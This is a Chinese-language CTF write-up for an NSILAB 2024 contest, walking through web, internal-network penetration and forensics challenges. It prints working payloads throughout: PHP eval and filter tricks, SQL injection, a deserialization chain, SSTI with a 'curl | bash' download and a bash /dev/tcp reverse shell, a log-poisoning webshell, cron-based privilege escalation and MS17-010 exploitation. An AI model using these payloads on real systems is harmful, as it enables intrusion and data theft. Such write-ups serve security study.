Web
signin
<?php
highlight_file(__FILE__);
if ($_GET['nsilab']==2024 && $_POST['challenge']=='web') {
echo "Welcome to NSILAB";
$cmd = $_COOKIE['cmd'];
if ( $cmd === "phpinfo()") {
echo "flag在哪里?";
eval($cmd.";");
}
}
?>
签到题,payload:
GET: nsilab=2024
POST: challenge=web
COOKIE: cmd=phpinfo()
然后在phpinfo里查找flag即可。
ezphp
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
$c = $_POST['c'];
$d = $_POST['d'];
$file = $_POST['file'];
if ($a !== $b && md5($a) === md5($b)) {
if ($c !== 114514 && intval($c) == 114514) {
if (!preg_match('/nsilab/',$d) && strtolower($d) === "nsilab") {
if ($file != "/flag"){
include($file);
}
} else{
die ("hacker!!!");
}
} else {
die("hacker!!");
}
} else {
die("hacker!");
}
?>
第一个if用数组绕过md5函数,第二个if传入114514a来使得intval结果为114514,第3个if传入NSILAB,因为前面的正则匹配大小写严格,所以后面的转小写就可以=nsilab了,第四个if用伪协议读取即可。
payload:
GET: a[]=1&b[]=2
POST: c=114514a&d=NSILAB&file=php://filter/read=convert.base64-encode/resource=/flag
然后解码Base64即可。
leak
根据题目说明猜测是git泄露,通过GitHack下载下来源码之后发现index.php里只有一句 phpinfo();
,后续又尝试了www.zip等泄露的可能,均无果。
在题目更新Hint后发现的确是git泄露,但是需要查看git log。
查看后发现的确有两条提交记录。
使用 git diff HEAD^
还原仓库可以找到:
<?php
# ZWNobyAi55yL55yLY21kLnBocOWQpyI7
phpinfo();
?>
解码Base64提示查看cmd.php:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这里使用hexbin即可绕过正则:
GET: c=eval(hex2bin(%2273797374656d2822636174202f662a22293b%22));
# system("cat /f*");
sqlhub
根据题目可知是SQL注入,且查询的内容需要经过Base64编码,开始尝试了 1' order by 1 #
发现提示no result,但是只输入1是有结果的。
经过几次测试发现不需要用引号封闭前面的SQL语句,所以先用order by判断列数:
1 order by 1 #
当测试到3时提示no result,说明有两列。
接下来就是经典的爆库爆表爆字段读数据了:
1 union select 1,group_concat(schema_name) from information_schema.schemata #
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctf' #
1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' #
1 union select 1,data from ctf.flag #
即可拿到flag。
ezunser
<?php
highlight_file(__FILE__);
class NSILAB
{
private $leader;
private $slogan;
public function __call($name, $arguments)
{
if ($this->slogan == "火之意志,生生不息") {
echo file_get_contents($this->leader);
}
}
}
class CTFer
{
private $id;
private $major;
private $language;
public function __wakeup()
{
echo "ID: " . $this->id . "\n";
if (strlen($this->id) > 10) {
$this->major->stack = $this->language;
} else {
$this->major = "pwn";
}
}
}
class Pwn
{
private $heap;
function __toString()
{
$this->heap->pwned();
}
}
class Web
{
private $php;
private $java;
private $code;
public function __set($name, $value)
{
if ($value == "php") {
$this->debug();
}
}
function debug()
{
if (is_numeric($this->php) && is_numeric($this->java)) {
$a = $this->php;
$b = $this->java;
if (substr(md5($a), 0, 4) == "ae86" && substr(sha1($b), -4) == "9982") {
if (preg_match("/eval|system|passthru|exec/", $this->code)) {
die("No hacking allowed!");
}
}
}
}
}
$c = $_GET['c'];
unserialize($c);
?>
触发反序列化的方法是CTFer类中的__wakeup,而注入点是NSILAB类中的__call方法。
能够调用__call方法的是Pwn类中的__toString方法,而能够使得Pwn类被转为字符串的是在Web类的debug方法,这里的正则表达式匹配的第二个参数会将传入的东西转为字符串。
为了调用这个正则表达式匹配,需要得到两个数字,一个md5值以ae86开头,一个sha1值以9982结尾。
exp:
<?php
$i = 0;
$k = 0;
while (true) {
if (substr(md5($a), 0, 4) == "ae86") {
echo "md5:" . $i;
k += 1;
}
if (substr(sha1($i), -4) == "9982") {
echo "sha1:" . $i;
k += 1;
}
$i += 1;
if ($i >= 1919810 || k >= 2) {
die();
}
}
?>
最后可以找到php=2369,java=26453。
而调用这个debug方法的是该类的__set方法,刚好CTFer类的__wakeup就是在进行赋值操作。
所以链子就挖完了:
CTFer::__wakeup > Web::__set > Web::debug > Pwn::__toString > NSILAB::__call
根据题目的其他要求填好变量,最后的payload:
<?php
class NSILAB {
private $leader;
private $slogan;
function __construct($leader, $slogan) {
$this->leader = $leader;
$this->slogan = $slogan;
}
}
class CTFer {
private $id;
private $major;
private $language;
function __construct($id, $major, $language) {
$this->id = $id;
$this->major = $major;
$this->language = $language;
}
}
class Pwn {
private $heap;
function __construct($heap) {
$this->heap = $heap;
}
}
class Web {
private $php;
private $java;
private $code;
function __construct($php, $java, $code) {
$this->php = $php;
$this->java = $java;
$this->code = $code;
}
}
echo urlencode(serialize(new CTFer("aaaaaaaaaaa", new Web(177158, 2369, new Pwn(new NSILAB("php://filter/read=convert.base64-encode/resource=/flag", "火之意志,生生不息"))), "php")));
# O%3A5%3A%22CTFer%22%3A3%3A%7Bs%3A9%3A%22%00CTFer%00id%22%3Bs%3A11%3A%22aaaaaaaaaaa%22%3Bs%3A12%3A%22%00CTFer%00major%22%3BO%3A3%3A%22Web%22%3A3%3A%7Bs%3A8%3A%22%00Web%00php%22%3Bi%3A177158%3Bs%3A9%3A%22%00Web%00java%22%3Bi%3A2369%3Bs%3A9%3A%22%00Web%00code%22%3BO%3A3%3A%22Pwn%22%3A1%3A%7Bs%3A9%3A%22%00Pwn%00heap%22%3BO%3A6%3A%22NSILAB%22%3A2%3A%7Bs%3A14%3A%22%00NSILAB%00leader%22%3Bs%3A54%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D%2Fflag%22%3Bs%3A14%3A%22%00NSILAB%00slogan%22%3Bs%3A27%3A%22%E7%81%AB%E4%B9%8B%E6%84%8F%E5%BF%97%EF%BC%8C%E7%94%9F%E7%94%9F%E4%B8%8D%E6%81%AF%22%3B%7D%7D%7Ds%3A15%3A%22%00CTFer%00language%22%3Bs%3A3%3A%22php%22%3B%7D
GET方法传入c即可得到flag。
ezgame
根据题目提示查看index.html,发现是个打砖块小游戏,不难猜到获得flag的方法就在静态的JavaScript脚本里。
简单查找就可以找到游戏通关的方法在game.js内:
// 游戏通关
finalGame () {
// 清除定时器
clearInterval(this.timer)
// 清除画布
this.context.clearRect(0, 0, this.canvas.width, this.canvas.height)
// 绘制背景图
this.drawBg()
// 绘制提示文字
this.context.font = '48px Microsoft YaHei'
this.context.fillStyle = '#fff'
this.context.fillText('恭喜通关全部关卡', 308, 226)
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('0(\'1=\');',2,2,'alert|ZmxhZ3t3b3chISEhX3lvdV9yZWFsbHlfa25vd19qc30'.split('|'),0,{}))
}
把最下面那一坨丢进控制台执行即可得到flag。
内网渗透-Linux1
注:根据提示可知这道题的靶机在内网的IP是10.10.10.100,是该网络下唯一可以出网的靶机。
题目本身就是一道没有任何过滤的SSTI,直接把以下payload用GET传入name就能一把梭了:
{{lipsum.__globals__.os.popen('cat /root/root.txt').read()}}
但是这道题同时是后续题目的入口靶机,所以需要想办法get shell。
不知为何尝试直接反弹shell会爆500,最后用 curl | bash
才成功拿到shell:
{{lipsum.__globals__.os.popen('curl http://ip/a.txt | bash').read()}}
a.txt内容:
bash -c "bash -i >& /dev/tcp/ip/port 0>&1"
拿到shell了就可以用以下方法把所需的文件传进去了:
cd /tmp
curl http://ip/filename > filename
将frpc(内网穿透工具)传上去,其配置文件如下:
[common]
server_addr = ip
server_port = port
[plugin_http]
type = tcp
remote_port = 8000
plugin = http_proxy
plugin_user = admin
plugin_passwd = 123456
服务端的frps配置文件如下:
bindPort = 7000
接下来就可以把ip:8000作为代理服务器,然后就可以访问到内网了。
内网渗透-Linux2
注:根据提示可知这道题的靶机在内网的IP是10.10.10.101,入口点是http协议。
挂上HTTP代理后访问http://10.10.10.101:
点击图片发现传入路径可控,同时文件名的include.php提示这是文件包含题,尝试读/etc/passwd:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:998:996::/var/lib/chrony:/sbin/nologin
nginx:x:997:995:Nginx web server:/var/lib/nginx:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
catcat:x:1000:1000::/home/catcat:/bin/bash
成功了,之后尝试用php://伪协议写一句话木马,失败,猜测/var/www/html是可读的。
继续考虑使用日志包含,查看响应头可知Web服务是Nginx,而我们可以控制日志的内容是User-Agent。
修改User-Agent为:
AAA<?php eval($_POST[1]); ?>BBB
然后尝试包含/var/log/nginx/access.log,payload为:
GET: file=/var/log/nginx/access.log
POST: 1=phpinfo();
发现成功执行:
接下来用蚁剑连上即可。
但是根据提示需要提权,尝试了多种提权手段,但是不是二进制文件不能执行,就是连gcc都没有。
在后续提示了以下内容后才解决该题:
- 内网渗透的信息搜集,有时候需要站在社工角度思考,我能读到一些“人工”配置的文件,那么这些文件会与哪些服务有关联呢?
- 服务器有自动备份服务,那么什么工具能探测到这种计划任务呢?
查看/var/www/html目录可以找到config.php:
<?php
class db{
private $db_name = "cats";
private $db_username = "catcat";
private $db_password = 'wannatobeacat';
function connect(){
//TODO: 连接数据库
}
}
?>
再联想到之前读/etc/passwd就不难猜到catcat是一个具有更高权限的账号。
用挂上代理的ssh连上去:
再根据提示,就是要用pspy查看有没有间隔时间较短的crontab计划任务了,最后可以找到:
UID是0,也就是root用户,同时/home/catcat/backup.sh这个文件catcat用户具有写权限,所以只需要修改backup.sh然后等待它执行就可以读到/root/root.txt了。
修改后的backup.sh:
#!/bin/bash
cat /root/root.txt > /tmp/a.txt
rm -rf /tmp/backup.tar.gz
tar czvf /tmp/backup.tar.gz /var/www/html/
继续使用pspy监控进程,等待其再次执行后cat /tmp/a.txt即可。
内网渗透-Windows
看题目描述就知道是大名鼎鼎的永恒之蓝(MS17-010)了。
使用msf查找ms17-010:
经过测试编号为10的payload可用。
show options后将必须的信息填进去,如靶机的IP地址。
由于靶机不出网,反向tcp肯定是不能用了,这里使用bind:
set payload windows/meterpreter/bind_tcp
然后就进去了…
查找root.txt:
search -f *root.txt
# Found 1 result...
# =================
#
# Path Size (bytes) Modified (UTC)
# ---- ------------ --------------
# c:\Users\Administrator\Desktop\root.txt 23 2024-11-19 04:31:54 -0500
读取即可得到flag。
Misc
签到-一串神秘编码
Base64解码后可以看到一些看不出来是什么的字符。
最后调整文本框大小就能找到flag了。
坏了的沙威玛
根据提示是要查看音频的频谱或者波形。
使用Audacidy打开并查看频谱图即可得到flag:
ezforensics
python vol.py -f 1.dmp windows.info # 获得系统时间为2024-10-29
python vol.py -f 1.dmp windows.netscan # 获得本机IP为192.168.26.129
python vol.py -f 1.dmp windows.envars # 获得计算机名为ZHUYUN_S_PC
python vol.py -f 1.dmp windows.pstree # 获得制作内存转储的软件名称为DumpIt
所以flag应该为 nsilab{ZHUYUN_S_PC_192.168.26.129_2024-10-29_DumpIt}
但是不知道为什么提交上去是错的…
就这样吧(´。_。`)
赛后
出题人填错flag了,呜啊啊啊啊!